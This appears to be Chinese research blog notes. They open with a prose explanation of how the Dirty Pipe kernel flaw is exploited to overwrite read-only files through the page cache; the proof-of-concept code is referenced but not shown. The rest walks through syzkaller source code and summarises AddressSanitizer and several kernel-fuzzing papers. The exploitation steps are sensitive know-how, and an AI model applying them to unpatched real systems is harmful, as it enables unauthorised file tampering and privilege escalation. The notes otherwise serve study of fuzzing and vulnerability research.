调用 splice,将数据长度不与页大小对齐的可读文件数据,传递至该管道中。这样在管道的 head 位置,势必会有一个 page buf,其中 page 指向文件缓存,flags 为 PIPE_BUF_FLAG_CAN_MERGE。
因为 page buf 在重分配时不会初始化 flags,因此这里的 flags 将仍然保留为 PIPE_BUF_FLAG_CAN_MERGE。
直接继续往该管道中写入目标数据,这样由于 PIPE_BUF_FLAG_CAN_MERGE 标志仍然存在,新写入的数据将会直接与 page buf 所指向的文件缓存合并。
此时访问该文件,则内核会将被修改后的文件缓存中的数据返回,这样便可达到在内核层面任意文件写的目的。
需要注意的是,通过漏洞来“意外”修改文件缓存,不会使该文件缓存重新写回磁盘上。只有当内核的其他模块主动改写了这块文件缓存,使得该文件缓存变脏(dirty),这样才会把被修改后的文件缓存保存回磁盘上。
内核判断一个文件缓存是否 dirty,并非判断上面的数据有无被改写,而是判断其 dirty 标志。通过 dirty pipe 漏洞来改写文件缓存并不会影响到上面的 dirty 标志。
介于 cm4all 那边已经给出了非常清晰易懂的 POC,因此这里直接贴出它的 POC:
1 |
|
运行结果如下:
可以看到运行的非常顺利,成功在只读打开该文件的情况下,完成对该文件的写入。
syzkaller 是 google 开源的一款无监督覆盖率引导的 kernel fuzzer,支持包括 Linux、Windows 等操作系统的测试。
syzkaller 有很多个部件。其中:
架构图如下:
在本文中,我将先介绍 syz-extract 和 syz-sysgen 的源码。
在本系列源码阅读笔记中,所有涉及到的 arch 和 platform 均为 x86_64 linux,不再另行说明。
syzkaller git checkout: 3a9d0024ba818c5b37058d9ac6fdfc0ddfa78be6
checkout Date: Fri Nov 19 13:06:38 2021 +0100
用途:解析并获取 syzlang 文件中的常量所对应的具体整型,并将结果存放至 xxx.txt.const 文件中。
syz-extract main 函数位于
sys/syz-extract/extract.go
中。
首先,syz-extract 将会尝试解析传入的参数:
1 | // Kiprey: in Function `main` |
其参数列表如下:
1 | var ( |
之后是调用 archFileList 函数,解析传入的参数,并生成对应的返回值。
其中
- OS 为操作系统字符串
- archArray 为待生成的 arch 字符串数组
- files 为待分析的 syzlang 文件名 字符串数组
1 | // Kiprey: in Function `main` |
接下来,便是尝试获取 OS 所对应的 Extractor 结构体;如果 OS 不存在则肯定取不到,直接报错:
1 | // Kiprey: in Function `main` |
extractors 数组如下所示,该数组为不同的 OS 实例化了不同的 Extractor 类。其中 linux OS 所对应的 Extractor 实例(即那三个函数的实现)位于 sys/syz-extract/linux.go
中:
三个函数的实现我们稍后再看。
1 | type Extractor interface { |
回到 main 函数,syz-extract 要用已有的 OS 字符串、archArray 字符串数组,以及 syzlang 文件名数组来生成出对应的 arches 结构体数组:
1 | // Kiprey: in function `main` |
准备工作已经做的差不多了,接下来让 extractor 执行初始化操作:
1 | // Kiprey: in function main |
这一步实际上会调用到 sys/syz-extract/linux.go
中的 prepare
函数:
1 | // Kiprey: in sys/syz-extract/linux.go |
如果不指定重新生成 linux kernel header,那么只会做一些简单的检查。但如果指定重新生成了,则会尝试在 linux kernel src 上执行 make mrproper
。
回到 main 函数,接下来便是创建 go routine 通信管道和启动并行 worker:
go routine 是 go 的轻量级线程,其中关键字
go
后面的语句将被放进新的 go routine 中执行。
1 | jobC := make(chan interface{}, len(archArray)*len(files)) |
worker 启动后,main 函数就需要等待 worker 处理完成后才能保存处理结果至文件中,这就涉及到了线程协同。注意到代码中有 <-arch.done
和 <-f.done
语句,这两个语句会一直阻塞等待管道,直到其传来信息。若 worker 函数中对管道执行 close 操作,则被关闭的管道将不再等待,继续向下执行。因此这里 syz-extract 就利用了管道来完成线程协同。
1 | // Kiprey: in function `main` |
后面的代码内容便是将生成结果保存进 .const
文件中,没有其他有意思的东西了:
1 | // Kiprey: in function `main` |
archFileList 函数用于解析传入的参数信息,代码量非常短。
首先,调用者需要将 OS 字符串、arch 字符串,以及存放 syzlang 文件路径的字符串数组传入该函数:
1 | func archFileList(os, arch string, files []string) |
之后,archFileList 会对 android 设置一些特殊的字段,然后切割参数字符串 arch,并将切割后的结果全保存进字符串数组 arches 中。若没有指定 arches 参数,则添加全部的 arch 进 arches 数组中。
1 | // Kiprey: in archFileList Function |
其中,targets.List
是一个 map 映射(即 sys/targets/targets.go
中的 List 变量),这上面存放了很多关于不同 OS 以及这些 OS 在特定 arch 下的信息,以下是一个精简后的代码片段:
1 | // nolint: lll |
不过在 for arch := range targets.List[os]
的过程中,只会取出这些 map 的 key 值,即一系列的架构字符串,因此最后 archs 数据中存放的值如下:
接下来我们回到函数 archFileList 中:
1 | // Kiprey: in archFileList Function |
若传入的参数 files
为空,则 syz-extract 将尝试自动添加文件进入。在这一部分代码中:
1 | matches, err := filepath.Glob(filepath.Join("sys", os, "*.txt")) |
syz-extract 将尝试解析路径 sys/linux/*.txt
路径,并将解析结果存放进 matches 数组中:
之后,在下面的代码中,跳过人工添加的文件,以及 android 不允许添加的文件(androidFiles 映射中 value 为 false 的条目),最后为结果数组做个顺序排序:
1 | // Kiprey: in archFileList Function |
函数结束,结果返回:
1 | // Kiprey: in archFileList Function |
该函数用于生成与参数对应的 Arch 结构体数组。该函数内容较少,因此笔记以注释形式内嵌在函数中:
1 | func createArches(OS string, archArray, files []string) ([]*Arch, error) { |
worker 用于执行真正的解析变量工作:
1 | func worker(extractor Extractor, jobC chan interface{}) |
对于管道 jobC 中的元素来说,初始时在 main 函数放进去的肯定是 Arch 结构体:
因此初始时 worker 内部的 switch 将检测到传入的变量类型为 Arch 结构:
1 | // Kiprey: in function `worker` |
注意到变量 j 就是从 jobC 中取出来的 Arch 结构体,因此在 processArch 操作完成后,worker 函数会分别从 infos 映射中遍历取出对应文件的信息,并将其填充至 arch 结构体中 files 结构体数组内的各个元素字段里:
最后执行 jobC <- f
操作,将这个 File 结构体放入 jobC 管道中。
由于 worker 函数是会循环读取 jobC 内数据,因此 worker 函数接下来便会取出刚刚新放入的 File 结构体,执行 processFile
函数。在 processFile 中,syz-extract 将会获取各个 const 变量(例如 O_RDWR)所对应的整型值(例如2)。
worker 函数中还有一个关键点需要注意,当 processXXX 函数执行完成后,worker 函数接下来都会执行 close(j.done)
,将通信管道关闭。这样做的目的是为了通知 main goroutine “某部分工作已经完成”。这个操作有点类似于使用信号量来保证线程同步。
processArch 的作用是,处理传入的 Extractor 和 Arch 结构体,生成 const 信息。
1 | func processArch(extractor Extractor, arch *Arch) (map[string]*compiler.ConstInfo, error) { |
其中,compiler.ExtractConsts
只是一个简单的 wrapper 函数,获取编译 syzlang 结果中的 fileConsts 字段:
字段 res.fileConsts 包含了 syzlang 文件名与其用到的常量数组的映射,以及其所 include 的头文件数组的映射;这些东西都将会用到获取 consts 对应的具体整数操作中。
而 extractor.prepareArch
函数在 linux.go
中,做的操作主要是定义了几个头文件:
1 | "stdarg.h": ` |
因为某些 arch 的 kernel src 可能会缺失这些文件,需要自己手动补全。补全之后 extractor.prepareArch
会重新执行一次 linux kernel make 生成。
回到 processArch 函数,该函数最后会把先前获取到的 consts info 返回给调用者:
processFile 函数只是 extractor.processFile 的 wrapper,主要是做了一些 check 操作:
1 | func processFile(extractor Extractor, arch *Arch, file *File) (map[string]uint64, map[string]bool, error) { |
实际用于查找 const 值的操作位于 extractor.processFile
:
1 | func (*linux) processFile(arch *Arch, info *compiler.ConstInfo) (map[string]uint64, map[string]bool, error) |
在 linux.go 中,processFile
初始时先过滤掉不满足条件的情况:
1 | // Kiprey: in function processFile of sys/syz-extract/linux.go |
之后,生成编译代码模板所要用到的 gcc 编译参数:
1 | // Kiprey: in function processFile of sys/syz-extract/linux.go |
参数有亿点点多:
在准备好参数之后,processFile 还准备了 extract 参数,以及待使用的 CC 编译器,之后执行更加核心的 extract 函数,生成出 res 映射和 undeclared 集合:
1 | // Kiprey: in function processFile of sys/syz-extract/linux.go |
其中,res 是 const 字符串与整型的映射;undeclared 是未声明 const 字符串与 bool 值的映射,通常这里的 bool 值都为 true:
undeclared 所对应的常量将在
.const
文件中标明其值为???
例如:
1
2 O_RDWR = 2
MyConst = ???
执行完成 extract 函数后,如果当前架构为 32 位,则 syz-extract 需要使用 mmap2 来替换 mmap,以避免一些可能的错误:
1 | if arch.target.PtrSize == 4 { |
替换完成后将结果返回:
1 | return res, undeclared, nil |
以上内容便是 extractor.processFile 的源码解释,接下来我们深入一下 extract 函数。
函数代码位于 sys/syz-extract/fetch.go
该函数调用编译器来编译代码模板,并根据编译出的二进制文件来获取 consts 常量整数。若编译过程出错,则会尝试自动纠错。
函数声明:
1 | func extract(info *compiler.ConstInfo, cc string, args []string, params *extractParams) |
其中参数 Info 便是单个文件存放 const 数据的结构体,cc 是编译器名称字符串,args 是编译器执行参数,params 是用于 extract 执行过程用的选项:
初始时,extract 函数声明一系列的 map:
1 | // Kiprey: in function `extract` |
接下来便是尝试将 consts 常量字符串与模板C代码结合,并编译结合后的代码,形成一个可执行文件。编译操作由 compile
函数完成,其返回结果分别为编译出的可执行文件路径;编译器标准输出信息;编译器标准错误信息:
1 | // Kiprey: in function `extract` |
我们先深入进 compile 函数看看,该函数非常的简单,因此将笔记内联进代码中:
1 | func compile(cc string, args []string, data *CompileData) (string, []byte, error) { |
执行至该函数入口时,其参数示例如下:
现在我们看看是什么样的代码模板:
1 | var srcTemplate = template.Must(template.New("").Parse(` |
可以很容易的看出来,该模板会将先前从 syzlang 收集到的 include、define 和 consts 字符串全部融合:
%llu
的输出格式&使用空格来区分每个变量,输出至 stdout中。这样,sys-extract 就可以通过分析所编译程序的输出,来确定每个 consts 字符串所对应的数值是多少。回到 extract
函数,由于编写 syzlang 时极易出问题,因此 syz-extract 需要尝试自动纠错:
1 | // Kiprey: in function `extract` |
之后便是从编译出的二进制文件中读取数值,解析并返回:
注意:虽然 syz-extract 立即对编译出的二进制文件执行 remove 操作,但由于 syz-extract 仍然持有该文件的文件描述符,因此该文件将不会立即被删除,而是等到 syz-extract 释放了该文件的文件描述符后才会被删除。
1 | // 将新编译出的二进制文件删除 |
操作二进制文件的代码主要是这几行:
1 | if data.ExtractFromELF { |
若 ExtractFromELF 字段为 false,则 sys-extract 会走下面这个分支,执行函数 extractFromExecutable。该函数将实际执行目标程序,解析其输出并转换为整型数组:
1 | func extractFromExecutable(binFile string) ([]uint64, error) { |
但由于 OS 为 Linux 时,其 ExtractFromELF 标志为 true,因此会执行 extractFromELF 函数。在该函数中, syz-extract 将不会实际执行程序,而是从 ELF 文件中一个名为 syz_extract_data
的 section 中读取常量值:
而且也执行不起来,因为先前手动不让二进制文件执行 link 操作,还没 main 函数。
1 | func extractFromELF(binFile string, targetEndian binary.ByteOrder) ([]uint64, error) { |
这样做的目的貌似是为了提高常量读取速度,因为读取文件远比执行程序来的快。
syz-extract 会调用自定义 compiler 解析 syzlang 为 ast 森林,并依次提取每个 ast 树上的 consts 节点,然后将这些 consts 节点上的字符串放置进模板中,编译模板生成一个 ELF 或其他可执行文件。
接下来 syz-extract 会分析 ELF 文件上的数据,或者尝试执行可执行文件来解析其输出,以获得各个 consts 字符串所对应的具体整型值。
最后 syz-extract 将获取到的 consts 字符串与具体整型的映射关系,一个个序列化并填入 .const
文件中,这样便生成了对应于每个 syzlang 文件的 .const 文件。
在 syz-extract 执行的整个过程中,syz-extract 另起一个 go routine 来执行 worker,是为了能达到边进行常量提取,边将先前已有的提取结果存放进文件中,这样做是为了提高效率,加快常量提取的速度。
调试用的 vscode launch.json 文件:
1 | { |
代码位于
sys/syz-sysgen/sysgen.go
中。
syz-gen 用于解析人工编写的 syzlang 代码文件,并将其 syzlang 内部定义的 syscall 类型信息转换成后续 syzkaller 能够使用的数据结构。
在理解了 syz-extract 的代码后,syz-sysgen 的代码相对来说也比较好理解,接下来我们先从 main 函数开始看起。
首先是将所有 OS 的类型都取出来,并且创建了用于存储结果的结构体:
1 | // Kiprey:in Function main |
其中第一行的 golang defer
关键字表示,defer 后面的函数将在整个函数正常返回时被执行。由于 tool.Init()
涉及到命令行中 CPU/Mem 分析,不在我们的考虑范畴,因此忽略不看。
完成这段代码的执行后,其变量情况如下图所示:
紧接着便是一个 for 循环,遍历 OSList 中的每个 OS 字符串,并解析其中的 syzlang 代码。我将这个 for 循环分为了上中下三个部分:
首先是第一部分:
1 | // Kiprey:in Function main |
这部分内容较为简单,将当前遍历到的 OS 所对应的 sys/<os>/*.txt
和 sys/<os>/*.const
文件,分别解析成 AST 树 (ast.Description 类型) 和 ConstFile 结构体。之后创建 sys/<os>/gen
文件夹,整个 syz-sysgen 的输出将存放在该文件夹下:
之后还是收集当前 OS 所对应的全部 arch 字符串集合,并做一次排序操作。
其次是第二部分:
1 | // Kiprey:in Function main |
首先是为每个 arch 都创建了一个 Job 结构体,将其添加进数组 jobs中,并为数组执行排序操作,其中排序规则是自定义的。
接下来创建了一个 sync.WaitGroup
结构体,这个结构体用于等待指定数量的 go routine 集合执行完成。其内部原理有点类似于信号量,执行 wg.Add
函数以增加其内部计数器值,执行 wg.Done
函数以减小其内部计数器值,执行 wg.Wait
则判断内部计数器值状态,进而选择是否挂起等待。
其中最重要的是,syz-sysgen 依次遍历 jobs 数组中的每个 job,并创建 go routine 并行执行这些 job。函数 processJob 用于编译先前 parse 的 syzlang AST、分析其中的类型信息与依赖关系,并将其序列化为 golang 代码至 sys/<OS>/gen/<arch>.go
中,同时还将 syscall 属性相关的信息保存在 job.ArchData
中,供后续生成 sys-executor 关键头文件代码所用。
最后是第三部分:
1 | // Kiprey:in Function main |
第三部分没什么需要特别关注的,这部分主要是做了一些检查,并将先前 worker 里生成的 ArchData 提取进变量 data 中。
for 循环结束后吗,main 函数最后这部分的代码继续为变量 data 设置一些字段:
1 | attrs := reflect.TypeOf(prog.SyscallAttrs{}) |
这部分代码乍看上去可能不太能理解,但仔细一看就能发现,它只是分别将 prog.SyscallAttrs
和 prog.CallProps
这两个结构体对应的字段名存了起来。俩结构体声明如下:
1 | // SyscallAttrs represents call attributes in syzlang. |
实际保存进变量 data 中的内容如下:
通过对上面源码的分析,我发现貌似 syz-sysgen 将整个 prog.SyscallAttrs
结构体的字段名和每个 syscall 所对应的数据,全都转换成了普通字符串型和整型。看上去这像是要用这些数据来填充 C 语言模板?我们接下来再来看看 writeExecutorSyscalls 函数,看看这里面具体是做了什么。
writeExecutorSyscalls 函数源码分析位于下文,这里不再赘述。
processJob 函数的主要功能是:编译传入的 syzlang AST,分析其中的 syscall 类型信息等,并反序列化为一个 golang 语法源码。
传入 processJob 的参数 job
,其结构体声明如下所示:
1 | type Job struct { |
首先,该函数会生成一个 error handler,用于输出错误信息;之后从 ConstFile 结构体中,取出对应 arch 的 consts 字符串->整型映射表:
1 | // Kiprey: in function `processJob` |
之后,对于一些 Linux OS 需要特殊处理的架构,syz-sysgen 设置了过滤器,过滤掉那些文件名中带有 _kvm.txt
后缀的 syzlang,那些 syzlang 将不参与处理;并且将那些不支持的条目将会存放进 job.Unsupported
中,接下来的操作将跳过这些条目:
1 | // Kiprey: in function `processJob` |
除了这些 Linux OS 需要过滤的架构以外,syz-sysgen 还需要过滤掉自己开发者人员测试用的 testOS:
1 | // Kiprey: in function `processJob` |
其中,targets.TestOS 所对应的字符串为
test
。
接下来,syz-sysgen 需要分析 AST 信息,对 syzlang 进行编译:
1 | // Kiprey: in function `processJob` |
返回的 Prog 结构体声明如下:
1 | // Kiprey: in function `processJob` |
编译操作和先前 syz-extract 类似,不同的是这次提供了 consts 信息,因此会执行完整的编译过程,分析 syzlang 代码中描述的全部 syscall 参数类型信息。返回的 Prog 结构体中:
之后便是将分析结果,序列化为 go 语言源代码,留待后续 syz-fuzzer 所使用;序列化后的 golang 代码存放至 sys/<OS>/gen/<arch>.go
,例如 sys/linux/gen/amd64.go
(loc: ~11w):
1 | // Kiprey: in function `processJob` |
我们来看看生成出的 golang 代码是什么样的(以 /sys/linux/gen/amd64.go
为例):
1 | // AUTOGENERATED FILE |
其中,init 函数用于将当前这个 linux amd64 的 target,注册进 targets
数组中以供后续 syz-fuzzer 取出使用。
1 | var targets = make(map[string]*Target) |
amd64.go 内部还声明了多个数组,其中:
resources_amd64
数组:存放着每个 syzlang 代码中声明的 resource 变量syscalls_amd64
数组:存放着每个 syscall 所对应的名称、调用号,以及各个参数的名称和类型。types_amd64
数组:每个类型的具体信息,例如数组、结构体类型信息等等consts_amd64
:存放 consts 字符串与整型的映射关系revision_amd64
:amd64.go 源码的哈希值回到 generateExecutorSyscall 函数,该函数最后便是调用 generateExecutorSyscalls 函数来创建 Executor 的 syscall 信息,并将其返回给上层调用者(即 main 函数):
1 | // Kiprey: in function `processJob` |
这个信息将用于生成 syz-exexcutor 的 C 代码。
该函数的作用是,为生成 syz-executor 准备相关的 syscall 数据,因此起名神似 生成(generate) executor 的 syscall 数据。
初始时,generateExecutorSyscalls 函数创建了一个 ArchData 结构体,这个结构体将一层层返回给 main 函数。
1 | data := ArchData{ |
如果目标 OS & arch 所对应的 target 结构体,设置了对 ForkServer 和 Shmem(共享内存)的支持,则在 data 中将这两个字段设置为 true,这样 syz-executor 便可以使用这两个技术加速 fuzz 过程。
1 | // SyscallAttrs represents call attributes in syzlang. |
接下来便是一个遍历 syscalls 数组中的各个 Syscall 类型结构体的 for 循环。这个 for 循环虽然看上去一眼难以看懂,但实际上,它只是将变量 c 中结构体 SyscallAttrs 里的各个字段取出,并将其依次存放至整型数组 attrVals,然后再使用生成的 attrVals 数组进一步生成 SyscallData 结构体:
1 | for _, c := range syscalls { |
以下是 data 变量中所存放信息的一个示例:
结构体 SyscallAttrs 定义如下:
1 | // SyscallAttrs represents call attributes in syzlang. |
以上图所示,由于当前遍历的 SyscallAttrs 结构体(也就是变量 attrs)的值全为默认值0,因此取出来的 Attrs 数组中各元素也为 0:
该 for 循环会一次次的将遍历到的 syscall 对应的 SyscallData 添加进data.Calls
,其中 newSyscallData
函数所生成的 SyscallData 结构体定义如下:
1 | // sys/syz-sysgen/sysgen.go |
待整个 for 循环完成后,generateExecutorSyscall 函数将会把上面所生成的 data.Calls 数组进行排序,并返回 data 变量。
作用:该函数将生成 syz-executor 所使用的 C 代码头文件。
通读一下代码可以很容易的发现,该函数将会尝试填充两个 C 代码模板,并将填充后的 C 代码输出至 executor/defs.h
和 executor/syscalls.h
。
1 | func writeExecutorSyscalls(data *ExecutorData) { |
其中,defsTempl 代码模板如下:
1 | var defsTempl = template.Must(template.New("").Parse(`// AUTOGENERATED FILE |
代码模板看上去有点难以理解,因为其中混杂着 C 宏定义与模板描述,因此不妨从 executor/defs.h
中直接看看生成好的代码:
1 | // AUTOGENERATED FILE |
可以看到, syz-sysgen 会将把先前 generateExecutorSyscalls
函数中所生成的 ArchData 结构体数据,导出至 executor/defs.h 文件中,供后续编译 syz-executor 所使用。syz-sysgen 将所有OS所有架构所对应的 ArchData 数据全部导出至一个文件中,并使用宏定义来选择启用哪一部分的数据。
另一个代码模板 syscallsTempl 的内容如下:
1 | // nolint: lll |
乍看上去还是有点难懂,我们不妨看看 executor/syscalls.h
示例:
1 | ... |
可以看到,executor/syscalls.h
下会存放着各个 syzlang 中所声明的 syscall 名与 syscall调用号的映射关系,以及可能有的 SyscallData。同时,也是使用宏定义来控制使用哪个OS哪个Arch下的 syscalls 映射关系。
再贴一下 SyscallData 结构体定义:
1
2
3
4
5
6
7 type SyscallData struct {
Name string
CallName string
NR int32
NeedCall bool
Attrs []uint64
}
当执行完 syz-extractor 为每个 syslang 文件生成一个常量映射表 .const
文件后,syz-sysgen 便会利用常量映射表,来彻底的解析 syzlang 源码,获取到其中声明的类型信息与 syscall 参数依赖关系。
当这些信息全都收集完毕后,syz-sysgen 便会将这些数据全部序列化为 go 文件,以供后续 syz-fuzzer 所使用。除此之外,syz-sysgen 还会创建 executor/defs.h 和 executor/syscalls.h,将部分信息导出至 C 头文件,以供后续 syz-executor 编译使用。
简单地说,syz-sysgen 解析 syzlang 文件,并为 syz-fuzzer 和 syz-executor 的编译运行做准备。
调试用的 vscode launch.json 文件:
1 | { |
这里存放阅读论文/读代码时所记录下的一些零碎笔记。
由于这部分活动在记录笔记时,出于时间与重要性考虑,只会记录下较为重要的一部分,不会完整记录,因此单篇笔记的篇幅不会太长。
原先是想着把这些随笔放到周报里去,但是这会打乱周报的排版,思来想去还是想单独立一篇文章出来。
阅读 Address Sanitizer LLVM 3.1 最早期的源代码。
Asan 使用 8 字节映射至 1字节的粗粒度内存映射。每块虚拟内存都会对应一块 shadow memory。
8字节的粗粒度,是因为 malloc 返回地址会对齐8字节。
其中 shadow byte 上的值表示 origin memory 中前 n 个字节是可访问的。
Asan 会在 LLVM pass 过程的末尾,对所有的内存读写操作进行插桩,检查当前访问的内存地址所对应的 shadow byte 的值是否说明当前地址可访问。如果不可访问则直接abort。
对于溢出检测,asan 会在用户内存的左右两边分别加上一块大小固定的 redzone,其中 redzone 所对应的 shadow memory 将会被加毒。这样当访问到 redzone 时将触发 asan。
加毒(poison) 指的是将某块用户内存所对应的 shadow memory 标记为不可访问。
对于栈内存来说,它会先分配一块 原始栈大小 + (等待被 redzone 检测的变量个数 + 1) * redzone 大小的内存,然后修改那些目标变量的 alloc 指令的偏移量。(poisonStackInFunction 函数)
之后,将一些栈上的信息放入当前栈帧最左边的 redzone里。
在函数头部,插入给当前栈帧 redzone 加毒的操作;并在所有 ret 语句之前插入 redzone 解毒的操作。
对于当前函数,若当前函数执行了一些 noret 的函数(例如 exit、execve),则在执行这些 noret 函数之前,必须对其解毒,防止误报。处理 no ret call 是为了防止有不返回的函数调用导致调用后栈上的 poison 信息没有被处理。
但需要注意的是,asan 只会在全局变量的右边加 redzone。 (insertGlobalRedzones 函数)
同时,虽然全局变量的 redzone 的添加操作是以插桩的形式加入程序中,但全局变量的加毒解毒操作是位于 runtime 中。
Asan 会 hook memcpy 等内存处理或字符串处理的 lib 函数,以达到更好的效果。(InitializeAsanInterceptors 函数)
asan 除了检测 内存越界读写以外,它同样检测 UAF 和 use after return。
UAF
asan hook 掉了 malloc、free、realloc 等函数,创建了自己的内存管理机制,在分配内存时对内存解毒,在释放内存时加毒。
对于动态分配的内存,一共有三种主要状态,分别是:可分配、检疫、已分配。当某个内存块被释放时,该内存块将会被设置为检疫状态,并放置到检疫队列中。等到检疫队列数量超过阈值后,再将其中的检疫内存放回可分配内存池中。这样做的目的是为了延长某块内存从被释放到被二次分配的过程,延长检测 UAF 的窗口期。
use after return
在替换栈帧上原始 alloc 为新 alloc 之前,asan 会先分配一块 fake stack, 然后在替换 alloc 指令时,将其地址替换为 fake stack。这样,带有 redzone 的局部变量就会 alloc 在 fake stack 上,而不是 origin stack。
在当前函数结束时,fake stack 会被重新加毒,注意此时不会回收 fake stack。
那么 fake stack 在什么时候被回收呢?在分配 fake stack时。分配时会同步检测 fake stack 的调用栈,遍历调用栈中的每个 fake stack,判断当前 fake stack 所对应的 real_stack 地址是否大于当前的运行时栈。如果大于则说明该 fake stack 已经没有用处了,因此将会被释放。
asan 第一版存在局限性,例如不会检测到结构体成员之间内存对齐的那一小部分内存的越界,以及不会检测这种越界到另一块用户可读写内存中的情况等等,不过总体上实现效果非常优秀。
这里感谢 sad 师傅分享的笔记。
论文 HFL: Hybrid Fuzzing on the Linux Kernel
结合 fuzz 技术和符号执行技术,主要解决三个问题:
由 syscall 参数所决定的间接控制流改变,会使得符号执行效率低下。(主要是这种:
解决方案:基于 kernel src 做了一个离线转换器,用于在编译时将间接控制流转换成直接控制流:
需要推断 syscall 调用序列和依赖关系,以便于控制和匹配内部系统状态,防止 fuzz 效率低效
解决方法:
首先使用静态分析技术(占大头的应该是指针分析技术),在多个 syscall 中收集对相同内存位置进行读写的内存读写对 集合(candidates)。这种内存读写是分开的,即在一个 syscall 中 write,在另一个 syscall 中 read。
之后在 runtime 中验证这些 candidates。因为静态分析会产生一些误报,因此需要在执行时检测某个内存读写对是否确实会访问相同的内存位置,如果是则说明遍历到的 candidate 是真正的依赖关系对。
同时写操作的 syscall 一定在读操作的前面,因为只有先写才能读。
使用符号执行技术,确定 syscall 参数之间的依赖关系。例如 syscall2 中的参数等于 syscall1 中的某个参数,具体的看下面工作流程图可得知。
工作流程如下:
推断用于调用 syscall 的嵌套参数类型。这里还是用的老一套方法,检测 copy_from_user 函数以检测 syscall 嵌套参数的情况。这个其实不用多说,一张图胜过千言万语。
除了上面这三个问题以外,hybrid fuzz 中 fuzz 和 symbolic excution 切换的时机也很关键,其 fuzzer 内部维持了一个频率表,用于统计每个分支的 true/false 评估数量。我个人对这个设计还挺感兴趣,但是源码存放的网站已经被关闭,找不到源码了。
论文 MoonShine: Optimizing OS Fuzzer Seed
。这篇论文主要说明如何从真实系统调用序列中提取 OS Fuzzer 种子(种子蒸馏),同时保留依赖关系。它给出了两个有意思的依赖关系定义:对于 syscall $C_i、C_j$ 来说,
显式依赖:若 $C_i$ 生成的值用做 $C_j$ 的参数输入时,则说明 $C_j$ 依赖 $C_i$ ,那么自然得先调用 $C_i$ 再调用 $C_j$。
隐式依赖:若 $C_i$ 在执行过程中会通过共享变量读写来影响 $C_j$ 的执行,则说明 $C_j$ 依赖 $C_i$ 的执行。
MoonShine 建立依赖关系的流程是这样的:
对于显式依赖来说,MoonShine 主要构建依赖关系图,通过调用序列,将 syscall 返回值和对应的 syscall 参数相连接,来确定显式依赖。
对于隐式依赖来说,MoonShine 主要通过分析一对 syscall 之中的读写依赖项来确定依赖关系。即,若 $C_i$ 读取的全局变量集合与 $C_j$ 写入的全局变量集合之间存在交集,则说明这两个 syscall 之间存在隐式依赖关系。但需要注意的是,受限于静态分析的精度,其隐式依赖关系可能会被高估或者低估。
需要注意的是
- 如果 $C_i$ 隐式依赖与 $C_j$,而 $C_j$ 显式依赖于 $C_k$,则可说明 $C_i$ 隐式依赖于 $C_k$
- 如果 $C_i$ 显式依赖与 $C_j$,而 $C_j$ 隐式依赖于 $C_k$,则可说明 $C_i$ 显式依赖于 $C_k$
算法伪代码如下所示,伪代码还是比较好理解的:
以下是整体的算法思路:
阅读论文 Scalable Fuzzing of Program Binaries with E9AFL
:
e9afl 是一个可对无符号二进制程序插桩实现覆盖率反馈的工具,插桩后的程序可以直接用于 AFL 中进行 fuzz。相对于其他针对纯二进制文件进行 fuzz 的方法,它的优势在于插桩后的 overhead 还能保证在较低水平,同时还保证较高的精度。
整个插桩过程主要分为三步:
设计待插入的 trampoline template。这个没啥好说的,基本和 AFL 插桩方式对齐:
运行时插入。这步主要做的是将 fork server 和共享内存初始化等操作注入进 binary 中,使得在执行 main 函数前就执行这些操作。
确定待插桩的指令位置集合。e9afl 自己实现了一个轻量级控制流分析,以查找所有可能的 jump targets,其中包括直接目标和间接目标。间接目标的检测是通过分析数据段上的跳转表和指向代码的指针所确定的。
有意思的是,虽然静态控制流分析可能会存在一些精度误差(jump targets 多分析或者少分析),但是这些误差对整个 fuzz 过程不会造成太大的影响。
需要注意的是,如果 e9afl 只是插桩 trampoline 但不对其进行任何优化的话,整个程序的执行速度将会非常的慢。虽然 forkserver 对二进制程序的启动速度进行优化,但 fork 出的子进程将会大量触发页错。这是因为这些子进程会经常执行到 trampoline,因此会触发到 trampoline 所在页的页错误。
页错误是制约 e9afl 性能影响的关键,因此需要对其进行优化。这里它提出了三种优化策略:
trampoline ordering
使用与 patch 指令所对应的顺序,来在内存上分配 trampoline 内存。
什么意思呢?个人认为是这样的,对于相同代码区域(假设函数级的代码区域),e9afl 尽可能地将这个函数中所会用到的 trampoline,全部集中分配到某个页面(或者某个集中内存页区域里)。换句话说,尽可能让 patch 点相邻的指令,其 trampoline 也相邻。
这背后的原理是:对于一个函数来说,这个函数中的 trampoline 大概率是会大半都被执行的,那么如果将这个函数中的 trampoline 全都集中到一起,当函数执行第一个 trampoline1 时触发页错(正常现象),则接下来函数继续执行下面的 trampoline2 时就不再触发页错了,因为 trampoline1 和 2 位于同一块内存区域。
instruction selection
由于上一步优化策略在某些时刻可能不会起作用,例如 patch 时用到了指令双关技术,导致能跳转的 trampoline 地址有限。这一步的优化策略将尝试在基本块中的其他位置进行插桩,而不只是局限在每个基本块的块首。e9afl 会搜索同一基本块中是否存在其它 size>=5byte 的指令,并对该指令进行插桩。
bad block elimination
如果上面两个步骤的优化都无法完成,则说明相应的 trampoline 大概率会触发 page fault 并降低 fuzz 速度。那么这一步的优化,就主要侧重于删除一些不必要的 trampoline 插桩。
例如,假设通过 BasicBlockA 的所有路径都会通过到 BasicBlockB,那么只需检测这两个块中的其中一个的覆盖信息即可,这属于路径微分问题。
注:e9afl 将那些无法应用上述两步优化的基本块,称作为 bad block;反之为 good block。
但在这里 e9afl 更侧重于消减掉 bad block 的插桩,其做法如下:
初始时,按照以下规则为每个基本块打标签:
接下来,尝试解决 path differentation problem。对于任意满足以下条件的 sub-paths $\sigma=<A\rightarrow…\rightarrow B>$ :
<A, B>
这一对基本块是 unoptimized<A,B>
之间的基本块全都是 optimized若对于相同的 <A,B>
对来说,存在至少两个 sub-paths $\sigma_1、\sigma_2$,则说明违反了 path differentiation 属性,需要对其进行修补。
修补方式是:贪心地将 $\sigma_1、\sigma_2$ 中 optimized 的基本块修改为 unpotimized,并一直递归这个过程,直到没有任何 sub-paths 违背了这个属性。
最后是 e9afl 的评估效果,可以看到测试效果还是相当不错的,同时 e9afl 也能处理规模较大的文件,例如 chrome:
论文 NTFuzz 提出了一个比较有意思的做法:
通过静态分析技术,将 documented 的用户 API 函数参数类型信息,传播至 undocumented 的系统调用参数类型,以弥补这两者之中的信息鸿沟。
通常
以下是 NTFuzz 的架构图,其中主要分为静态分析和动态内核 fuzzer 两部分:
其中比较关键的是静态分析器中的 Modular Analyzer,以 Function 为一个基本的分析单位,其基本算法思路如下:
